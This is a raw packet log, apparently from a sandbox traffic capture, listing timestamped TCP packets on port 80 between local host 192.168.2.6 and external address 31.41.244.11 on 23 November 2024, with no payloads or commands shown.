Nov 23, 2024 13:28:15.515031099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.515945911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.516032934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.516087055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.516133070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.516823053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.516870022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.516954899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.517000914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.517818928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.517882109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.517935038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.518011093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.518793106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.518841982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.518908024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.518970013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.519797087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.519870996 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.520042896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.520104885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.520754099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.520827055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.520879030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.520945072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.521739006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.521810055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.521850109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.521908998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.522758961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.522804976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.522846937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.522907972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.523706913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.523763895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.523916960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.523972034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.524705887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.524760008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.524822950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.524878979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.525677919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.525753021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.525778055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.525824070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.526663065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.526793957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.526809931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.526870012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.527631044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.527690887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.527753115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.527895927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.528634071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.528724909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.528767109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.528812885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.529628992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.529683113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.529736996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.529803038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.530591965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.530641079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.530719995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.530810118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.531677961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.531735897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.531809092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.531877041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.532553911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.532617092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.532660961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.532754898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.533591032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.533682108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.533684969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.533729076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.534540892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.534584045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.534648895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.534759998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.535528898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.535578966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.535777092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.535825968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.536602974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.536645889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.536693096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.536750078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.537481070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.537523031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.537585974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.537631989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.538435936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.538503885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.538543940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.538585901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.539520979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.539577007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.539614916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.539680958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.540430069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.540482044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.540523052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.540570021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.541420937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.541470051 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.541523933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.541577101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.542408943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.542484045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.542532921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.542579889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.543395996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.543442965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.543493986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.543545961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.544382095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.544456005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.544482946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.544528008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.545363903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.545401096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.545418024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.545495987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.546325922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.546377897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.546457052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.546504021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.547322035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.547384024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.547435999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.547483921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.548291922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.548336983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.548418045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.548464060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.549293041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.549338102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.549359083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.549406052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.550271988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.550331116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.550378084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.550450087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.551255941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.551362991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.551386118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.551431894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.552248001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.552352905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.552356958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.552397013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.553230047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.553289890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.553350925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.553394079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.554203987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.554246902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.554274082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.554316998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.704880953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.704935074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.704958916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.705003977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.705291033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.705347061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.705578089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.705626965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.706290007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.706336021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.706418037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.706464052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.707264900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.707323074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.707369089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.707427025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.708235025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.708338022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.708354950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.708395958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.709208012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.709269047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.709351063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.709405899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.710391998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.710460901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.710469961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.710546017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.711366892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.711429119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.711462021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.711497068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.712277889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.712322950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.712335110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.712390900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.713143110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.713262081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.713323116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.714143991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.714174032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.714267969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.715146065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.715188980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.715245008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.715325117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.716125965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.716178894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.716255903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.716305971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.717091084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.717150927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.717210054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.717277050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.718087912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.718133926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.718178988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.718241930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.719129086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.719172001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.719218016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.719259024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.720056057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.720103979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.720112085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.720134020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.721021891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.721148014 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.721188068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.721240044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.722173929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.722244024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.722281933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.722337008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.722985029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.723066092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.723119974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.723232985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.724030972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.724118948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.724133015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.724215031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.724947929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.725007057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.725100994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.725193024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.725943089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.726033926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.726064920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.726110935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.726931095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.726977110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.727035999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.727103949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.727925062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.727991104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.728035927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.728085041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.728899002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.729005098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.729027033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.729052067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.729880095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.729962111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.730006933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.730093956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.730871916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.730961084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.731002092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.731084108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.731848001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.731910944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.731950045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.732002020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.732820034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.732897997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.732939005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.733063936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.733841896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.733937979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.733953953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.734011889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.734806061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.734867096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.734916925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.734976053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.735785961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.735837936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.735889912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.735940933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.736757040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.736884117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.736932993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.737732887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.737795115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.737875938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.738729954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.738821983 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.738821983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.738866091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.739712954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.739773989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.739821911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.739923000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.740698099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.740753889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.740802050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.740859985 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.741667986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.741717100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.741771936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.741823912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.742651939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.742696047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.742779970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.742882967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.743717909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.743809938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.743813038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.743940115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.744627953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.744678020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.744721889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.744781017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.745630980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.745671034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.745735884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.745784044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.746611118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.746658087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.746702909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.746763945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.747616053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.747754097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.747807980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.748564959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.748617887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.748697042 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.748861074 CET	49729	80	192.168.2.6	31.41.244.11
